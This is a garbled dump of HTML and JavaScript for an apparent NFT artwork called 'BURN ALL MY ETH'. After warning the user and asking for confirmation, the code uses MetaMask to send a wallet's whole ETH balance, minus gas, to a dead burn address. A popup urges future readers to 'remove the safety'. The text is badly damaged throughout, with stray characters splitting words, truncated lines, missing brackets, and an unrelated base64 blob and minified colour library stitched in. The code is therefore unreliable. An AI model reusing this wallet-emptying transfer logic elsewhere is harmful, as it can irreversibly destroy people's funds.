wAPxkfKrCCWpZ3xtCbTIAFAY9SQfBgZxDPF2aJ20bAR1iwEJlYAQJFI6LEiyA7kKQGXwJIAPOwTHlPsbpTrNSAxHAc/WAUgAJ0EiqZZlajEvJAHQBzz4baloP20KYCFSl4Z3/5khVsBycGHWbAOZaGQM2YIEn1dxZdWKV0TaQJAcAcETaK+Oer82RyKzTTd1e2QI0wF98x2kIcSolAXTApet0SAAOSBFhNBIZNQ39TMUJwA7gth3c7GtgG6jTxZqTJN1E5U1CQKVeFLORiFYEJ22SlYoGVhnLUCrQqPIQfygTJe1y5y3KQU1jNpKgIFGuv9XjbwPiJABtYz3Q4ULLSMuklYukxUCgjzestPsTsq1H2wM4mKzSxGOiyOUxWNlBmkzDrVtB4E0NQkxshhSbFR1obSgvCk60jBGXtOlJGpw760cPF12/HmBlwgka/TOit2CFW1v+Okgcc+2SgP4tuQ27GvPbpv3nI8eb0Xf9XF5/nPSPn/3wv0nwXx8QADs=" id="eM
<button id="burn">BURN ALL MY ETH</button>
<div class="alert" id="security">
<p>ERROR <span class="yellow">Safety is enabled.</span></p>
<p>The host or browser enabled sandboxing protection. This is expected behavior for most marketplaces and listings.</p>
<p>Please view this artwork from here instead: <a href="https://dadabots.com/burnallmyeth/1" target="_blank">dadabots.com/burnallmyeth/100</a></p>
<p>Or host it yourself with safety disabled. </p>
"security1">OK</button>
<button id="security2">STILL NOT WORKING</button>
<div class="alert" id="help">
<p>If it's still not working for you, please reach out to DADABOTS (CJ Carr) and I will get it functioning on your device, or anywhere you are exhibiting this artwork </p>
<p><a href="https://twitter.com/dadabots" target="_blank">@dadabots</a> | <a href="https://dadabots.com" target="_blank">dadabots.com</a></p>
<button id="help1">OK</button>
<button id="help2">ARTIST IS DECEASM
<div class="alert" id="deceased">
<p>If this is the future, and I'm deceased or otherwise incapacitated,
please fix my code. Add shims. Remove the safety. Create a website for viewing this artwork with the intended functionality restored.
  <button id="deceased1">OK :'(</button>
<div class="alert" id="consent">
<p>You will be prompted through MetaMask to submit a txn which will <span class="yellow">burn all ETH</span> in your wallet.</p>
ll lose all that money. This is irreversible. Do you understand?</p>
  <button id="consent1">CANCEL</button>
  <button id="consent2">I UNDERSTAND</button>
<div class="alert" id="wait">
<p style="text-align: center" id="status">...</p>
<div class="alert" id="info">
<p class="">0xdaDA00000000000000000000000000000000dEad<br> will be used as the burn address</p>
<p class="">If you are connected to a different EVM network (e.g. testnet, PolygonM
) you will be prompted to burn that network's default token</p>
  <button id="info1">CANCEL</button>
  <button id="info2">I UNDERSTAND</button>
<div class="alert" id="notfound">
<p>ERROR <span style="yellow">MetaMask</span> was not found in your browser.</p>
<p>Please view this artwork from a browser with MetaMask installed</p>
  <button id="notfound1">OK</button>
<div class="alert" id="zerofunds">
<p>ERROR <span class="yellow">Zero Balance</M
<p>Your account has zero balance. Did you already burn it all?</p>
  <button id="zerofunds1">lol</button>
<div class="alert" id="login">
<p>Please login to Metamask and try again</p>
  <button id="login1">OK</button>
<div class="alert" id="nointernet">
<p>ERROR <span class="yellow">Network Connection</span></p>
<p>Could not retreive a gas price from the network. Check your internet.</p>
<p id="framecheckmsg">Are you viewing from sandM
boxed website? It so, they may have disabled this artwork's outgoing internet</p>
  <button id="nointernet1">CANCEL</button>
  <button id="nointernet2">YES</button>
<div class="alert" id="insufficientbalance">
<p>ERROR <span style="yellow">Insufficient Balance</span></p>
<p>Your account's balance is too low to pay the gas to submit the burn txn.</p>
  <button id="insufficientbalance1">CANCEL</button>
<div class="alert" id="complete">
<p style="text-align: center"><span class="yellow"   >Burn complete</span></p>
<p  style="text-align: center" > Account balance: zero.</p>
<p  style="text-align: center"  id="successmessage"></p>
  <button id="complete1">:|</button>
<div class="alert" id="noburn">
<p style="text-align: center" id="failmessage"></p>
  <button id="noburn1">:|</button>
let token_id = 19; //Math.floor(Math.random()*133)+1
s = ["info","consent","deceased","help","security","wait",
  "complete","insufficientbalance","nointernet","login","zerofunds","notfound","noburn"];
  return document.getElementById(id)
function open(popup){
  el(popup).style.display = "block"
  console.log(popups)
  for(let i in popups){
    el(id).style.display = "none"
  el("nointernet").style.display = "none"
// close button action
let close_buttons = ["iM
nfo1","consent1","help1","security1","deceased1","info2",
  "zerofunds1","notfound1","noburn1","nointernet1","complete1"];
for(let id in close_buttons){
  el(close_buttons[id]).onclick = function(){
    el("body").classList.remove("open")
// burn button action
el("burn").onclick = function(){
  el("body").classList.add("open")
  el("consent").style.display = "block"
el("security2").onclick = function(){
el("help2").onclick = function(){
nclick = function(){
el("info2").onclick = function(){
el("login1").onclick = function(){
el("nointernet2").onclick = function(){
let account, transactionParam, gasPrice, balance, burnvalue;
  console.log("Ethinfo")
  console.log("window.ethereum", window.ethereum)
  if(!window.ethereum){
    console.error("No ethereum")
    open("notfound")
  console.log("windoM
w.ethereum.isMetaMask", window.ethereum.isMetaMask)
  if (!window.ethereum.isMetaMask) {
    console.warning("No metamask")
    open("notfound")
  el("status").innerHTML = "Fetching gas price..."
  let timeout = setTimeout(function(){
    console.error("Trouble Fetching Gas Price");
    console.log(window.parent.location, window.location)
    if(window.parent.location != window.location){
      open("security")
      open("nointernet")
    clearTimeout(timeout);
  ethereum.request({method: 'eth_gasPrice'})
  .catch((error) => {
    clearTimeout(timeout);
    console.error("eth_gasPrice", error)
    clearTimeout(timeout);
    console.log("gasPrice", gasPrice);
    el("status").innerHTML = "Connecting to wallet..."
    console.log("get account")
    ethereum.request({method: 'eth_requestAccounts'})
    .catch((error) => {
      console.error("eth_requestAccounts", error)
      if(error.code==-32002){
        el("status").innerHTML = "Please login and ..."
        open("login")
        open("login")
    .then(accounts => {
      account = accounts[0];
      console.log("account", account);
      // get account balance
      el("status").innerHTML = "Retreiving balance..."
      ethereum.request({method: 'eth_getBalance' , params: [account, 'latest']})
      .catch((error) => {
        console.error("getBalance", error)
        el("status").innerHTML = "Could not retreM
ive balance. Check your internet connection."
        //open("login")
      }).then(result => {
        console.log("balance", result);
        balance = result;
        if(balance=="0x0"){
          // balance is zero
          console.error("zero balance")
          open("zerofunds")
          // check if hae enough balance
          let txnfee = BigInt(txngas)*BigInt(gasPrice)
          if(txnfee > BigInt(balance)){
            console.error("not enough to pay gas")
            open("insuM
            // calculate amount to burn minus txnfee
            // such that afterward the account goes to zero without dust
            burnvalue = (BigInt(balance) - (BigInt(txngas)*BigInt(gasPrice)))
            burnvalue = "0x" + burnvalue.toString(16)
            console.log("burnvalue", burnvalue)
            // build burn transaction
            transactionParam = {
              to: '0xdaDA00000000000000000000000000000000dEad',
              from: account,
              gasPrice: gasPrice
            el("status").innerHTML = burnconfirm
            ethereum.request({method: 'eth_sendTransaction', params:[transactionParam]})
            .catch((error) => {
              console.error("eth_sendTransaction", error)
              if(error.code==4001){
                // user denied txn
                console.log("user denied txn")
                el("status").innerHTML = "There shall be no burn this day."
                open("noburn")
              }else{
                el("status").innerHTML = "Txn error"
              throw new Error('');
            .then(txhash => {
              console.log("txnhash", txhash);
              if(txhash===undefined){
                // no txn
                console.error("no txn")
              }else{
                checkTransactionconfirmation(txhash)
function checkTransactionconfirmation(txhasM
  let checkTransactionLoop = () => {
    return ethereum.request({method:'eth_getTransactionReceipt',params:[txhash]}).then(r => {
        console.log(r);
        el("status").innerHTML = "Success..."
        open("complete")
        el("status").innerHTML = "Burning all your ETH..."
        return checkTransactionLoop();
  return checkTransactionLoop();
function sfc32(a, b, c, d) {
    return function() {
    a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0;
      var t = (a + b) | 0;
      a = b ^ b >>> 9;
      b = c + (c << 3) | 0;
      c = (c << 21 | c >>> 11);
      d = d + 1 | 0;
      t = t + d | 0;
      c = c + t | 0;
      return (t >>> 0) / 4294967296;
var seed = 1337 ^ (0xDEADBEEF)
var pseudorandom = sfc32(0x9E3779B9, 0x243F6A88, 0xB7E15162, seed+token_id);
// waiting for user to confirm burn txn
let msgs0 = ["In parkour, there's a philosophical mindset one develops with onself, standing at the edge oM
f a rooftop, contemplating the leap across the void, over the infinity of the bottomless pit, to the building across.", "To stand at the precipise...","To contemplate the choice of annihilation...","Confirm the burn","Over the infinity of the bottomless pit"]
let msgs1 = ["You masochistic weirdo", "The gods smile upon you"]
let msgs2 = ["There shall be no burn today", "Alas the fear too great",
for(let _=0;_<15;_++){
let mr0 = Math.floor(pseM
udorandom()*msgs0.length)
let mr1 = Math.floor(pseudorandom()*msgs1.length)
let mr2 = Math.floor(pseudorandom()*msgs2.length)
let burnconfirm= msgs0[mr0]
console.log(token_id, mr0,mr1,mr2)
el("successmessage").innerHTML = msgs1[mr1]
el("failmessage").innerHTML = msgs2[mr2]
let srmult = 0.5 * pseudorandom() + 0.5
let r1 = pseudorandom()
let r2 = pseudorandom()
let r3 = pseudorandom()
let r4 = pseudorandom()
let r5 = pseudorandom()
let rtri = pseudorandom()
let rsin = pseudorandom(M
let rfilf = pseudorandom()
let rfilq = pseudorandom()
const audioContext = new AudioContext({
  sampleRate: 32000 * srmult
var bufferSize = 512;
var whiteNoise = audioContext.createScriptProcessor(bufferSize, 1, 1);
whiteNoise.onaudioprocess = function(e) {
    var output = e.outputBuffer.getChannelData(0);
    for (var i = 0; i < bufferSize; i++) {
        /*let d = 1.04
        output[i] = (Math.floor(Math.random()*d)/d) * 2 - 1;*/
        if(Math.random()<0.0003){ n1 = -1 }else{ n1 = 1 }
 if(Math.random()<0.001){ n2 = -1 }else{ n2 = 1 }
        if(Math.random()<0.003){ n3 = -1 }else{ n3 = 1 }
        if(Math.random()<0.01){ n4 = -1 }else{ n4 = 1 }
        if(Math.random()<0.03){ n5 = -1 }else{ n5 = 1 }
        //y /= (i%500)/8000*2
        tri = (t/360*1.4/srmult % Math.PI)*0.0005*rtri
        sin = rsin*Math.sin(t/360*1.4 / srmult) + (1-rsin)
        output[i] = (n1*0.5*r1 + n2*0.3*r2 + n3*0.1*r3 + n4*0.01*r4 + n5*0.004*r5)*0.1 * sin + tri
        if(rfilf<.1){
          output[i] *= 5
          output[i] *= 3
        }else if(rfilf<.3){
          output[i] *= 2
// parameterized filter
var filter = audioContext.createBiquadFilter();
filter.frequency.value = 200 * Math.pow(2,rfilf*9)
filter.Q.value = 0.5 + 5*rfilq;
var filter2 = audioContext.createBiquadFilter();
filter2.frequency.value = 4000
filter2.Q.value = 0.1
var volume = audioContext.createGain();
volume.gain.value = 1.0;
whiteNoise.connect(filter);
filter2.connect(volume);
volume.connect(audioContext.destination)
function unsuspend(){
  // check if context is in suspended state (autoplay policy)
  if (audioContext.state === 'suspended') {
    audioContext.resume();
document.body.addEventListener("touchstart", unsuspend, false);
document.body.addEventListener("touchmove", unsuspend, false);
document.body.addEventListener("mousedown", unsuspend, false);
document.body.addEventListener("mouseclick", unsuspend, false);
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
